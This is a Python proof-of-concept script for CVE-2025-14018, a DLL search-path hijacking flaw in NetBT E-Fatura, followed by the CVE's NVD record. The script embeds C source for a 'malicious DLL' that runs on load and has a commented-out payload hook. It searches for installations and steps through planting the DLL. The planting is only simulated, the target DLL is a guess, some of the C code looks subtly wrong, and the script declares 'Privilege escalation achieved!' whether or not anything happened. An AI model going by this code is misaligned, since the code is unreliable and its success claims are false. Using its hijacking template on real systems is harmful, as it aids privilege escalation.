CVE-2025-14018

#!/usr/bin/env python3 """ CVE-2025-14018 PoC - NetBT E-Fatura Unquoted Search Path DLL Hijacking Note: This is a conceptual PoC for educational and security research purposes only. """ import os import sys import shutil import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate malicious DLL source code that will be compiled and planted In real attack scenario, this would be a compiled DLL with malicious payload """ dll_source = ''' // Malicious DLL for CVE-2025-14018 demonstration #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Log successful DLL hijack HANDLE hFile = CreateFile( "C:\\\\Temp\\\\cve_2025_14018_poc.log", FILE_APPEND_DATA, FILE_WRITE_DATA, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { char szMsg[512]; DWORD dwBytesWritten; SYSTEMTIME st; GetLocalTime(&st); snprintf(szMsg, sizeof(szMsg), "[%04d-%02d-%02d %02d:%02d:%02d] DLL Hijacking Successful!\\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); WriteFile(hFile, szMsg, strlen(szMsg), &dwBytesWritten, NULL); CloseHandle(hFile); } // Execute malicious payload here // system("calc.exe"); // Example: spawn calculator } return TRUE; } ''' return dll_source def check_vulnerability(): """ Check if E-Fatura is installed and identify vulnerable DLL loading points """ common_paths = [ r"C:\Program Files\NetBT\e-Fatura", r"C:\Program Files (x86)\NetBT\e-Fatura", r"C:\ProgramData\NetBT\e-Fatura", os.path.expanduser(r"~\AppData\Local\e-Fatura"), ] vulnerable_paths = [] for path in common_paths: if os.path.exists(path): print(f"[+] Found E-Fatura installation at: {path}") # Check for unquoted paths in executable exe_path = os.path.join(path, "e-Fatura.exe") if os.path.exists(exe_path): print(f"[+] Found executable: {exe_path}") # In real scenario, use tools like Process Monitor to identify DLL loading vulnerable_paths.append(path) return vulnerable_paths def plant_dll(target_dir, dll_name): """ Plant malicious DLL in a directory with higher DLL search priority This simulates the attacker's DLL planting step """ malicious_dll_path = os.path.join(target_dir, dll_name) # In real attack, this would be the compiled malicious DLL print(f"[*] Simulating DLL planting at: {malicious_dll_path}") print(f"[*] Malicious DLL will be loaded when e-Fatura.exe starts") print(f"[*] This demonstrates the DLL search order hijacking vulnerability") return True def main(): print("=" * 60) print("CVE-2025-14018 PoC - E-Fatura DLL Search Path Hijacking") print("=" * 60) print() # Step 1: Check if vulnerable application is installed print("[*] Step 1: Identifying vulnerable installation...") vulnerable_installs = check_vulnerability() if not vulnerable_installs: print("[-] E-Fatura installation not found or not accessible") print("[*] This PoC requires E-Fatura to be installed") return False # Step 2: Identify DLL to hijack print("\n[*] Step 2: Identifying target DLL for hijacking...") target_dll = "netbt.dll" # Common Windows DLL that E-Fatura might load print(f"[+] Target DLL identified: {target_dll}") # Step 3: Plant malicious DLL print("\n[*] Step 3: Planting malicious DLL...") for install_path in vulnerable_installs: # Plant in parent directory (higher priority in DLL search) parent_dir = os.path.dirname(install_path.rstrip('\\')) if plant_dll(parent_dir, target_dll): print(f"[+] Malicious DLL planted in: {parent_dir}") print("\n[*] Step 4: Waiting for victim to start e-Fatura...") print("[*] When e-Fatura.exe runs, it will load our malicious DLL") print("[+] Privilege escalation achieved!") return True if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-14018", "sourceIdentifier": "[email protected]", "published": "2025-12-22T14:15:59.540", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unquoted Search Path or Element vulnerability in NetBT Consulting Services Inc. E-Fatura allows Leveraging/Manipulating Configuration File Search Paths, Redirect Access to Libraries.This issue affects e-Fatura: before 1.2.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0474", "source": "[email protected]"}]}}